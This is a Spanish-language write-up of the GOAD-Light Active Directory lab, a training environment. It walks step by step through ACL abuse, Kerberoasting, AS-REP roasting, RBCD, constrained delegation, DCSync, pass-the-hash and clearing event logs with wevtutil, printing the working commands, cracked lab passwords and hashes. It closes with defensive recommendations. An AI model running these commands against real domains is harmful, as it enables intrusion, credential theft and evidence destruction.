Introducción

Contexto del Laboratorio

GOAD-Light (Game of Active Directory Light) es un entorno de práctica ofensiva desarrollado por Orange Cyberdefense que extiende el concepto de GOAD-Mini hacia una topología multi-dominio. A diferencia de GOAD-Mini, que consiste en un único Domain Controller, GOAD-Light incorpora tres máquinas distribuidas en dos dominios con relación de confianza, replicando con mayor fidelidad el escenario de un pentest corporativo real.

Objetivos

• Enumerar la topología multi-dominio y mapear las relaciones de confianza entre dominios.

• Comprometer sevenkingdoms.local reutilizando la cadena de ACLs documentada en GOAD-Mini.

• Identificar y explotar vectores de ataque en north.sevenkingdoms.local.

• Documentar cada paso con contexto técnico para uso en portafolio profesional.

Topología del Laboratorio

Infraestructura y Entorno de Trabajo

Arquitectura del Laboratorio

GOAD-Light es el segundo laboratorio de la suite Game of Active Directory de Orange Cyberdefense. Consta de tres máquinas Windows Server 2019 distribuidas en dos dominios: sevenkingdoms.local con DC01 como controlador principal, y north.sevenkingdoms.local con DC02 como controlador secundario y SRV02 como servidor miembro. El despliegue se realiza mediante Vagrant sobre VMware Workstation, gestionado a través del script goad.sh.

Configuración de Red

Verificación de Despliegue

Usuarios del Dominio – sevenkingdoms.local

Usuarios del Dominio – north.sevenkingdoms.local

Reconocimiento Inicial

Ping Sweep – Hosts Activos

sudo nmap -sn 192.168.56.0/24

Nmap scan report for kingslanding.sevenkingdoms.local (192.168.56.10)
MAC Address: 00:0C:29:C4:3E:7E (VMware)

Nmap scan report for 192.168.56.11
MAC Address: 00:0C:29:98:9F:14 (VMware)

Nmap scan report for 192.168.56.22
MAC Address: 00:0C:29:F4:A5:08 (VMware)

Escaneo de Puertos – Nmap

DC01 – 192.168.56.10 (KINGSLANDING)

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 128
80/tcp    open  http             syn-ack ttl 128
88/tcp    open  kerberos-sec     syn-ack ttl 128
135/tcp   open  msrpc            syn-ack ttl 128
139/tcp   open  netbios-ssn      syn-ack ttl 128
389/tcp   open  ldap             syn-ack ttl 128
445/tcp   open  microsoft-ds     syn-ack ttl 128
464/tcp   open  kpasswd5         syn-ack ttl 128
593/tcp   open  http-rpc-epmap   syn-ack ttl 128
636/tcp   open  ldapssl          syn-ack ttl 128
3268/tcp  open  globalcatLDAP    syn-ack ttl 128
3269/tcp  open  globalcatLDAPssl syn-ack ttl 128
3389/tcp  open  ms-wbt-server    syn-ack ttl 128
5985/tcp  open  wsman            syn-ack ttl 128
5986/tcp  open  wsmans           syn-ack ttl 128
9389/tcp  open  adws             syn-ack ttl 128
47001/tcp open  winrm            syn-ack ttl 128

DC02 – 192.168.56.11 (WINTERFELL)

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 128
88/tcp    open  kerberos-sec     syn-ack ttl 128
135/tcp   open  msrpc            syn-ack ttl 128
139/tcp   open  netbios-ssn      syn-ack ttl 128
389/tcp   open  ldap             syn-ack ttl 128
445/tcp   open  microsoft-ds     syn-ack ttl 128
464/tcp   open  kpasswd5         syn-ack ttl 128
593/tcp   open  http-rpc-epmap   syn-ack ttl 128
636/tcp   open  ldapssl          syn-ack ttl 128
3268/tcp  open  globalcatLDAP    syn-ack ttl 128
3269/tcp  open  globalcatLDAPssl syn-ack ttl 128
3389/tcp  open  ms-wbt-server    syn-ack ttl 128
5985/tcp  open  wsman            syn-ack ttl 128
5986/tcp  open  wsmans           syn-ack ttl 128
9389/tcp  open  adws             syn-ack ttl 128
47001/tcp open  winrm            syn-ack ttl 128

SRV02 – 192.168.56.22 (CASTELBLACK)

PORT      STATE SERVICE       REASON
80/tcp    open  http          syn-ack ttl 128
135/tcp   open  msrpc         syn-ack ttl 128
139/tcp   open  netbios-ssn   syn-ack ttl 128
445/tcp   open  microsoft-ds  syn-ack ttl 128
1433/tcp  open  ms-sql-s      syn-ack ttl 128
3389/tcp  open  ms-wbt-server syn-ack ttl 128
5985/tcp  open  wsman         syn-ack ttl 128
5986/tcp  open  wsmans        syn-ack ttl 128
47001/tcp open  winrm         syn-ack ttl 128

Identificación de Dominios

# Dominio sevenkingdoms.local
nmblookup -A 192.168.56.10
Looking up status of 192.168.56.10
KINGSLANDING    <00> -         M <ACTIVE>
SEVENKINGDOMS   <00> - <GROUP> M <ACTIVE>
SEVENKINGDOMS   <1c> - <GROUP> M <ACTIVE>
KINGSLANDING    <20> -         M <ACTIVE>
SEVENKINGDOMS   <1b> -         M <ACTIVE>

# Dominio north.sevenkingdoms.local (DC02)
nmblookup -A 192.168.56.11
Looking up status of 192.168.56.11
WINTERFELL      <00> -         M <ACTIVE>
NORTH           <00> - <GROUP> M <ACTIVE>
NORTH           <1c> - <GROUP> M <ACTIVE>
NORTH           <1b> -         M <ACTIVE>
WINTERFELL      <20> -         M <ACTIVE>

# Dominio north.sevenkingdoms.local (SRV02)
nmblookup -A 192.168.56.22
Looking up status of 192.168.56.22
CASTELBLACK     <00> -         M <ACTIVE>
NORTH           <00> - <GROUP> M <ACTIVE>
CASTELBLACK     <20> -         M <ACTIVE>

Dominio sevenkingdoms.local

Cadena de ACLs – sevenkingdoms.local

Ejecución de la Cadena

ForceChangePassword: tywin → jaime

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tywin.lannister -p powerkingftw135 \
-H kingslanding.sevenkingdoms.local \
set password jaime.lannister 'NewPassword123!'

[+] Password changed successfully!

GenericWrite: jaime → joffrey (Targeted Kerberoasting)

# Registro del SPN temporal en joffrey.baratheon
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u jaime.lannister -p 'NewPassword123!' \
-H kingslanding.sevenkingdoms.local \
set object joffrey.baratheon servicePrincipalName \
-v 'fake/kingslanding.sevenkingdoms.local'

[+] joffrey.baratheon's servicePrincipalName has been updated

# Verificacion del SPN registrado
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10

ServicePrincipalName                   Name
-------------------------------------  -----------------
fake/kingslanding.sevenkingdoms.local  joffrey.baratheon

# Solicitud del hash TGS -- Targeted Kerberoasting
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast.txt -debug

[-] CCache file is not found. Skipping...
[+] Trying to connect to KDC at 192.168.56.10:88
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$...[hash]

# Crackeo del hash con Hashcat
hashcat -m 13100 kerberoast.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

...:1killerlion
Status: Cracked

WriteDACL: joffrey → tyron

dacledit.py sevenkingdoms.local/joffrey.baratheon:1killerlion \
-dc-ip 192.168.56.10 \
-principal joffrey.baratheon \
-target tyron.lannister \
-ace-type allowed \
-action write \
-rights FullControl

[*] DACL backed up to dacledit-20260809-082934.bak
[*] DACL modified successfully!

Self-Membership: tyron → Small Council

# Paso 1 -- ForceChangePassword derivado de GenericAll sobre tyron
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u joffrey.baratheon -p 1killerlion \
-H kingslanding.sevenkingdoms.local \
set password tyron.lannister 'Newpasswd'

[+] Password changed successfully!

# Paso 2 -- Self-Membership: tyron se agrega a Small Council
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'Small Council' tyron.lannister

[+] tyron.lannister added to Small Council

AddMember: Small Council → DragonStone

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'DragonStone' tyron.lannister

[+] tyron.lannister added to DragonStone

WriteOwner: DragonStone → KingsGuard

# Paso 1 -- Cambiar propietario de KingsGuard
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
set owner KingsGuard tyron.lannister

[+] Old owner S-1-5-21-192275561-2566161430-2385015979-1000
is now replaced by tyron.lannister on KingsGuard

# Paso 2 -- Otorgarse FullControl sobre KingsGuard via WriteDACL implicito
dacledit.py sevenkingdoms.local/tyron.lannister:'Newpasswd' \
-dc-ip 192.168.56.10 \
-principal tyron.lannister \
-target KingsGuard \
-ace-type allowed \
-action write \
-rights FullControl

[*] DACL modified successfully!

# Paso 3 -- Agregarse al grupo KingsGuard
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
add groupMember KingsGuard tyron.lannister

[+] tyron.lannister added to KingsGuard

GenericAll: KingsGuard → stannis

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
set password stannis.baratheon 'NewPassword789!'

[+] Password changed successfully!

RBCD: stannis → DC01

# Paso 1 -- Crear cuenta de computadora falsa
addcomputer.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-dc-ip 192.168.56.10

[*] Successfully added machine account EVILPC$ with password EvilPass123!.

# Paso 2 -- Configurar RBCD en KINGSLANDING$
rbcd.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-dc-ip 192.168.56.10 \
-action write \
-delegate-to 'KINGSLANDING$' \
-delegate-from 'EVILPC$'

[*] Delegation rights modified successfully!

# Paso 3 -- Solicitar ticket impersonando a Administrator (S4U2Proxy)
getST.py sevenkingdoms.local/'EVILPC$':'EvilPass123!' \
-dc-ip 192.168.56.10 \
-spn cifs/kingslanding.sevenkingdoms.local \
-impersonate Administrator

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local
@SEVENKINGDOMS.LOCAL.ccache

# Paso 4 -- Exportar ticket y ejecutar DCSync
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache

secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::

Acceso como Administrator – sevenkingdoms.local

evil-winrm -i 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e

*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
sevenkingdoms\administrator

*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
kingslanding

Enumeración de AD – north.sevenkingdoms.local

Identificacion de Trust

netexec ldap 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e --dc-list

[+] sevenkingdoms.local\Administrator (Pwn3d!)
kingslanding.sevenkingdoms.local      = 192.168.56.10
[+] Found DC in trusted domain: winterfell.north.sevenkingdoms.local
north.sevenkingdoms.local             -> Bidirectional -> Within Forest
winterfell.north.sevenkingdoms.local  = 192.168.56.11

Usuarios y Grupos

netexec smb 192.168.56.11 -u Administrator \
-H c66d72021a2d4744409969a581a1705e \
-d north.sevenkingdoms.local --users

[-] north.sevenkingdoms.local\Administrator STATUS_LOGON_FAILURE

netexec smb 192.168.56.11 -u Administrator \
-H c66d72021a2d4744409969a581a1705e \
-d sevenkingdoms.local --users

netexec smb 192.168.56.11 -u samwell.tarly \
-p Heartsbane \
-d north.sevenkingdoms.local

[+] north.sevenkingdoms.local\samwell.tarly:Heartsbane

BloodHound – Grafo del Dominio

bloodhound-python -u samwell.tarly -p Heartsbane \
-dc winterfell.north.sevenkingdoms.local \
-d north.sevenkingdoms.local -c All \
-ns 192.168.56.11

INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to GC LDAP server: winterfell.north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users
INFO: Found 51 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: castelblack.north.sevenkingdoms.local
INFO: Querying computer: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 01S

Enumeración de Grupos Específicos

netexec ldap 192.168.56.11 -u samwell.tarly \
-p Heartsbane -d north.sevenkingdoms.local \ 
--group "Domain Admins"

Administrator
eddard.stark

netexec ldap 192.168.56.11 -u samwell.tarly \
-p Heartsbane -d north.sevenkingdoms.local \
--group "Night Watch"

jon.snow
samwell.tarly
jeor.mormont

User-as-Password via Kerbrute

kerbrute passwordspray --user-as-pass users.txt -d north.sevenkingdoms.local \ 
--dc 192.168.56.11
__             __               __
/ /_____  _____/ /_  _______  __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 08/10/26 - Ronnie Flathers @ropnop

2026/08/10 05:30:43 >  Using KDC(s):
2026/08/10 05:30:43 >   192.168.56.11:88

2026/08/10 05:30:43 >  [+] VALID LOGIN:  hodor@north.sevenkingdoms.local:hodor
2026/08/10 05:30:43 >  Done! Tested 13 logins (1 successes) in 0.029 seconds

AS-REP Roasting

GetNPUsers.py north.sevenkingdoms.local/hodor:hodor \
-dc-ip 192.168.56.11 \
-request \
-format hashcat \
-outputfile asrep.txt

Name           MemberOf       PasswordLastSet
-------------  -------------  --------------------------
brandon.stark  CN=Stark,...   2026-08-07 06:49:07

$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:
730b58fa04f3a515cbbdf06d70d71362$...[hash truncado]

Crackeo del Hash

hashcat -m 18200 asrep.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:
730b58fa04f3a515cbbdf06d70d71362$...[hash truncado]
...:iseedeadpeople

Status: Cracked

Kerberoasting

GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople \
-dc-ip 192.168.56.11 \
-request \
-outputfile kerberoast_north.txt

Cracking de Hashes de las SPNs

hashcat -m 13100 kerberoast_north.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$...[hash truncado]....
:iknownothing

Status: Cracked

Ataques – north.sevenkingdoms.local

Delegación Constrained – jon.snow

bloodyad -d north.sevenkingdoms.local -i 192.168.56.11 \
-u jon.snow -p iknownothing \
get object jon.snow --attr msds-allowedtodelegateto

distinguishedName: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
msDS-AllowedToDelegateTo: CIFS/winterfell
CIFS/winterfell.north.sevenkingdoms.local

Constrained Delegation – S4U2Proxy

getST.py north.sevenkingdoms.local/jon.snow:iknownothing \
-spn CIFS/winterfell.north.sevenkingdoms.local \
-impersonate Administrator \
-dc-ip 192.168.56.11

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms
.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

DCSync

Constrained Delegation – S4U2Proxy

getST.py north.sevenkingdoms.local/jon.snow:iknownothing \
-spn CIFS/winterfell.north.sevenkingdoms.local \
-impersonate Administrator \
-dc-ip 192.168.56.11

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms
.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

DCSync – Intentos Fallidos

export KRB5CCNAME=Administrator@CIFS_winterfell...ccache

secretsdump.py -k -no-pass -dc-ip 192.168.56.11 \
north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local

[-] Policy SPN target name validation might be restricting full
DRSUAPI dump. Try -just-dc-user

getST.py north.sevenkingdoms.local/jon.snow:iknownothing \
-spn CIFS/winterfell.north.sevenkingdoms.local \
-altservice ldap/winterfell.north.sevenkingdoms.local \
-impersonate Administrator \
-dc-ip 192.168.56.11

[*] Changing service from CIFS/winterfell... to ldap/winterfell...
[*] Saving ticket in Administrator@ldap_winterfell...ccache

secretsdump.py -k -no-pass -dc-ip 192.168.56.11 \
-just-dc-user Administrator \
north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local

[-] 'NoneType' object has no attribute 'getRemoteHost'

getST.py ... -altservice wsman/winterfell... -impersonate Administrator

evil-winrm -i winterfell.north.sevenkingdoms.local \
-r NORTH.SEVENKINGDOMS.LOCAL

Error: GSSAPI::GssApiError: Matching credential not found

netexec smb 192.168.56.11 -k --use-kcache --ntds

[-] RemoteOperations failed: STATUS_USER_SESSION_DELETED
[+] Dumped 0 NTDS hashes

DCSync Exitoso – Trust Bidireccional

# Verificacion de acceso via trust
netexec smb 192.168.56.11 -u Administrator \
-H c66d72021a2d4744409969a581a1705e \
-d sevenkingdoms.local

[+] sevenkingdoms.local\Administrator (Pwn3d!)

# DCSync via NTLM
secretsdump.py sevenkingdoms.local/Administrator@192.168.56.11 \
-hashes :c66d72021a2d4744409969a581a1705e

Administrator:500:...:dbd13e1c4e338284ac4e9874f7de6ef4:::
krbtgt:502:...:fc6cdeaa9ca0ac3611eb712d01c4bb53:::
eddard.stark:1111:...:d977b98c6c9282c5c478be1d97b237b8:::
jon.snow:1118:...:b8d76e56e9dac90539aff05e3ccb1755:::
sql_svc:1121:...:84a5092f53390ea48d660be52b93b804:::
[...]
DefaultPassword -> NORTH\robb.stark:sexywolfy

Movimiento Lateral y Escalada de Privilegios

Pass-the-Hash

# Acceso a WINTERFELL (DC02)
evil-winrm -i 192.168.56.11 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4

*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
north\administrator
*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
winterfell

# Acceso a CASTELBLACK (SRV02)
evil-winrm -i 192.168.56.22 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
castelblack\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
castelblack

Post-Explotación y Borrado de Evidencias

# Limpiar logs en WINTERFELL (desde evil-winrm)
evil-winrm -i 192.168.56.11 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4

*Evil-WinRM* PS C:\> wevtutil cl Security
*Evil-WinRM* PS C:\> wevtutil cl System
*Evil-WinRM* PS C:\> wevtutil cl Application

# Limpiar logs en CASTELBLACK (desde evil-winrm)
evil-winrm -i 192.168.56.22 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4

*Evil-WinRM* PS C:\> wevtutil cl Security
*Evil-WinRM* PS C:\> wevtutil cl System
*Evil-WinRM* PS C:\> wevtutil cl Application

# Eliminar archivos temporales en la maquina atacante
rm Administrator@CIFS_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm Administrator@ldap_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm Administrator@wsman_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm Administrator@http_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm asrep.txt kerberoast_north.txt /tmp/admin.ccache

Vulnerabilidades y Recomendaciones

Resumen de Vulnerabilidades

Recomendaciones

ACLs Mal Configuradas

Auditar regularmente las ACLs del dominio con BloodHound. Ningún usuario regular debe tener permisos como ForceChangePassword, GenericWrite, WriteDACL o GenericAll sobre otros objetos del dominio sin justificación explícita y documentada. Aplicar el principio de menor privilegio en cada objeto del directorio.

Kerberoasting y Targeted Kerberoasting

Evitar registrar SPNs en cuentas de usuario. Si es necesario, usar contraseñas de mínimo 25 caracteres o implementar Group Managed Service Accounts (gMSA) que rotan su contraseña automáticamente y cuyo hash no es crackeable offline. En el caso de sql_svc, la cuenta de servicio MSSQL debe migrarse a una gMSA para eliminar el riesgo de Kerberoasting.

RBCD – Resource-Based Constrained Delegation

Reducir el valor de ms-DS-MachineAccountQuota a 0 para impedir que usuarios no privilegiados creen cuentas de computadora. Auditar regularmente el atributo msDS- AllowedToActOnBehalfOfOtherIdentity en objetos computadora críticos como los Domain Controllers.

Constrained Delegation

Auditar regularmente el atributo msDS-AllowedToDelegateTo en todas las cuentas del dominio. Ningún usuario regular debe tener delegación constrained configurada hacia servicios de Domain Controllers. Si la delegación es necesaria, debe restringirse a cuentas de servicio dedicadas con mínimos privilegios y monitorearse activamente mediante alertas en el SIEM ante solicitudes S4U2Proxy inesperadas.

DCSync y Abuso de Trust

Restringir los permisos de Replicating Directory Changes únicamente a los Domain Controllers. En entornos multi-dominio, auditar regularmente qué cuentas de dominios de confianza tienen acceso administrativo en el dominio local, ya que un trust bidireccional permite que el compromiso de un dominio derive en el compromiso total del forest.

Contraseñas Débiles e Información Sensible Expuesta

Implementar políticas de contraseñas robustas con mínimo 15 caracteres, complejidad obligatoria y rotación periódica. Prohibir el uso del nombre de usuario como contraseña (hodor:hodor) y realizar auditorías periódicas de atributos de descripción de cuentas en Active Directory, ya que samwell.tarly tenía su contraseña en texto plano en el campo de descripción. Adicionalmente, el mecanismo DefaultPassword del registro del sistema debe auditarse regularmente ya que almacena credenciales en texto plano, como ocurrió con robb.stark:sexywolfy.

AS-REP Roasting

Habilitar la preautenticación Kerberos en todas las cuentas del dominio. La flag UF_ DONT_REQUIRE_PREAUTH solo debe desactivarse cuando existe una justificación técnica explícita y documentada. Las cuentas con esta flag activa deben tener contraseñas de mínimo 25 caracteres para resistir ataques de crackeo offline.

Reflexión Final

Qué salió bien

La enumeración de Active Directory del dominio norte fue ejecutada de forma ordenada y progresiva. Partiendo de una sola credencial encontrada en la descripción de un usuario, se logró construir una cadena completa de acceso mediante técnicas encadenadas: password en descripción, user-as-password, AS-REP Roasting, Kerberoasting y delegación constrained. El trust bidireccional intra-forest fue identificado tempranamente y aprovechado como vector crítico al final de la explotación. La documentación simultánea al ataque permitió registrar cada intento, incluyendo los fallidos, sin necesidad de reconstruir los pasos a posteriori.

Qué salió mal

La fase de DCSync del dominio norte resultó considerablemente más compleja de lo esperado. Se invirtieron múltiples intentos explorando tickets Kerberos con distintos servicios (CIFS, LDAP, HTTP, WSMAN) sin éxito, debido a la validación de SPN del DC y problemas de compatibilidad de GSSAPI en evil-winrm. La solución final fue utilizar el trust bidireccional para autenticarse via NTLM directamente, evitando por completo el problema de Kerberos. Adicionalmente, durante el desarrollo del laboratorio se produjo un kernel panic que obligó a recompilar los módulos de VMware y hacer downgrade del kernel, lo que generó una interrupción no planificada en el flujo de trabajo.

Lecciones Aprendidas

Este laboratorio representó la primera exposición práctica a un entorno de Active Directory multi-dominio y superó ampliamente las expectativas iniciales en complejidad técnica. Todos los conceptos documentados trust bidireccional intra-forest, AS-REP Roasting, Kerberoasting clásico, delegación constrained y abuso de trust para DCSync eran completamente nuevos antes de este lab.

La lección más importante fue entender que en entornos multi-dominio el trust no es solo una relación lógica: es un vector de ataque concreto. Comprometer un dominio dentro del mismo forest puede significar comprometer el forest completo si los permisos no están correctamente segmentados.

La diferencia entre delegación constrained clásica y RBCD quedó clara en la práctica: en RBCD el recurso controla quién puede delegar hacia él; en constrained delegation clásica la cuenta declara hacia dónde puede delegar. El resultado ofensivo es similar pero el mecanismo y la detección difieren.

Finalmente, los múltiples intentos fallidos de DCSync via Kerberos enseñaron que cuando un vector presenta resistencia inesperada, vale la pena replantear el enfoque completamente en lugar de insistir con variaciones del mismo método. El trust bidireccional era la solución más directa desde el principio.

Este writeup deberá ser releído varias veces para que los conceptos queden consolidados, ya que la densidad técnica del laboratorio es significativamente mayor que la de GOAD-Mini.

Tiempo Total